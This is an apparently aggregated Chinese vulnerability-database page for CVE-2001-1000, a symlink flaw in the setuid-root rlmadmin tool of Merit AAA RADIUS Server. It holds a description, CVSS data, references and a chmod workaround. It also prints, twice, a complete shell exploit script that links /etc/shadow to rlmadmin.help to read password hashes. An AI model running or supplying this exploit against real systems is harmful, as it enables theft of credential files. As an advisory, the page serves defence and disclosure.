CVE-2001-1000
CVSS2.1
发布时间 :2001-09-07 00:00:00
修订时间 :2008-09-05 16:25:26
NMCOES    

[原文]rlmadmin RADIUS management utility in Merit AAA Server 3.8M, 5.01, and possibly other versions, allows local users to read arbitrary files via a symlink attack on the rlmadmin.help file.


[CNNVD]Merit AAA RADIUS Server rlmadmin符号链接漏洞(CNNVD-200109-018)

        CVE(CAN) ID: CAN-2001-1000
        
        
        
        rlmadmin 是Merit AAA Server软件包中所带的一个针对RADIUS的用户管理工具。
        
        它存在一个符号链接漏洞,由于在v3.8M版中,它缺省被设置了一个setuid root
        
        属性,本地攻击者可以利用这个程序来读取任意系统文件。
        
        
        
        rlmadmin允许用户使用"-d"参数来指定寻找配置文件的目录。其中,它会显示配置文件
        
        "rlmadmin.help"的内容,由于rlmadmin在从"rlmadmin.help"文件中读取时允许链接,
        
        因此攻击者可以通过设置链接文件来读取任意系统文件内容,例如/etc/shadow等等。
        
        这可能导致进一步提升攻击者权限。
        
        
        
        
        
        

- CVSS (基础分值)

CVSS分值: 2.1 [轻微(LOW)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:merit:aaa_radius_server:3.8m
cpe:/a:merit:aaa_radius_server:5.01

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1000
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-1000
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200109-018
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/static/7096.php
(VENDOR_ADVISORY)  XF  radius-rlmadmin-help-symlink(7096)
http://www.securityfocus.com/bid/3302
(VENDOR_ADVISORY)  BID  3302
http://archives.neohapsis.com/archives/bugtraq/2001-09/0036.html
(VENDOR_ADVISORY)  BUGTRAQ  20010907 rlmadmin v3.8M view file symlink vulnerability

- 漏洞信息

Merit AAA RADIUS Server rlmadmin符号链接漏洞
低危 访问验证错误
2001-09-07 00:00:00 2005-10-20 00:00:00
本地  
        CVE(CAN) ID: CAN-2001-1000
        
        
        
        rlmadmin 是Merit AAA Server软件包中所带的一个针对RADIUS的用户管理工具。
        
        它存在一个符号链接漏洞,由于在v3.8M版中,它缺省被设置了一个setuid root
        
        属性,本地攻击者可以利用这个程序来读取任意系统文件。
        
        
        
        rlmadmin允许用户使用"-d"参数来指定寻找配置文件的目录。其中,它会显示配置文件
        
        "rlmadmin.help"的内容,由于rlmadmin在从"rlmadmin.help"文件中读取时允许链接,
        
        因此攻击者可以通过设置链接文件来读取任意系统文件内容,例如/etc/shadow等等。
        
        这可能导致进一步提升攻击者权限。
        
        
        
        
        
        

- 公告与补丁

        
        
        临时解决方法:
        
        
        
        去掉rlmadmin的setuid root属性。
        
        # chmod a-s rlmadmin
        
        
        
        厂商补丁:
        
        
        
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商
        
        的主页以获取最新版本:
        
        
        http://www.merit.edu/michnet/dial-in/aaa/

        

- 漏洞信息 (21101)

Merit AAA RADIUS Server 3.8 rlmadmin Symbolic Link Vulnerability (EDBID:21101)
unix local
2001-09-07 Verified
0 Digital Shadow
N/A [点击下载]
source: http://www.securityfocus.com/bid/3302/info


The 'rlmadmin' user management utility included with the Merit AAA RADIUS Server package is susceptible to a trivial symbolic link attack. The program allows users to specify a directory from which configuration files should be loaded at runtime. A help file, 'rlmadmin.help', is loaded from this directory and displayed directly to the user when the program is run.

The vulnerability exists because the program is setuid root and does not check if the help file is symbolically linked before displaying its contents to the user. As a local user, it is trivial for a local user to read any file on the system. This may lead to the disclosure of sensitive data and system compromise. 

#!/bin/sh
# -- -- -- -- -- -- -- -- -- -- -- -- -- -- #
# rlmadmin view file symlink vulnerability #
# (c)oded 2001 Digital Shadow #
# www.ministryofpeace.co.uk #
# -- -- -- -- -- -- -- -- -- -- -- -- -- -- #
bloc=/usr/private/etc # executable file location
cloc=/usr/private/etc/raddb # config file location
file=/etc/shadow # file to read
echo == rlmadmin exploit - visit www.ministryofpeace.co.uk for more!
echo = Initialising...
mkdir /tmp/peace; cd /tmp/peace
cp $cloc/dictionary $cloc/vendors .
ln -s $file rlmadmin.help
echo = Exploiting...
echo quit | $bloc/rlmadmin -d /tmp/peace > peace.log
mv peace.log /tmp; rm dictionary rlmadmin.help vendors
echo = Done!
echo == Now look in /tmp/peace.log! 		

- 漏洞信息

14079
Merit AAA Server rlmadmin rlmadmin.help Symlink Arbitrary File Access
Local Access Required Race Condition
Loss of Confidentiality
Exploit Public

- 漏洞描述

- 时间线

2001-09-07 Unknow
2001-09-07 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Merit AAA RADIUS Server rlmadmin Symbolic Link Vulnerability
Access Validation Error 3302
No Yes
2001-09-07 12:00:00 2009-07-11 07:56:00
Reported to Bugtraq by Digital Shadow <wodahs@gmx.net> on September 7, 2001.

- 受影响的程序版本

Merit rladmin 3.8 M
+ Merit AAA RADIUS Server 3.8 M

- 漏洞讨论

The 'rlmadmin' user management utility included with the Merit AAA RADIUS Server package is susceptible to a trivial symbolic link attack. The program allows users to specify a directory from which configuration files should be loaded at runtime. A help file, 'rlmadmin.help', is loaded from this directory and displayed directly to the user when the program is run.

The vulnerability exists because the program is setuid root and does not check if the help file is symbolically linked before displaying its contents to the user. As a local user, it is trivial for a local user to read any file on the system. This may lead to the disclosure of sensitive data and system compromise.

- 漏洞利用

#!/bin/sh
# -- -- -- -- -- -- -- -- -- -- -- -- -- -- #
# rlmadmin view file symlink vulnerability #
# (c)oded 2001 Digital Shadow #
# www.ministryofpeace.co.uk #
# -- -- -- -- -- -- -- -- -- -- -- -- -- -- #
bloc=/usr/private/etc # executable file location
cloc=/usr/private/etc/raddb # config file location
file=/etc/shadow # file to read
echo == rlmadmin exploit - visit www.ministryofpeace.co.uk for more!
echo = Initialising...
mkdir /tmp/peace; cd /tmp/peace
cp $cloc/dictionary $cloc/vendors .
ln -s $file rlmadmin.help
echo = Exploiting...
echo quit | $bloc/rlmadmin -d /tmp/peace &gt; peace.log
mv peace.log /tmp; rm dictionary rlmadmin.help vendors
echo = Done!
echo == Now look in /tmp/peace.log!

- 解决方案

Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站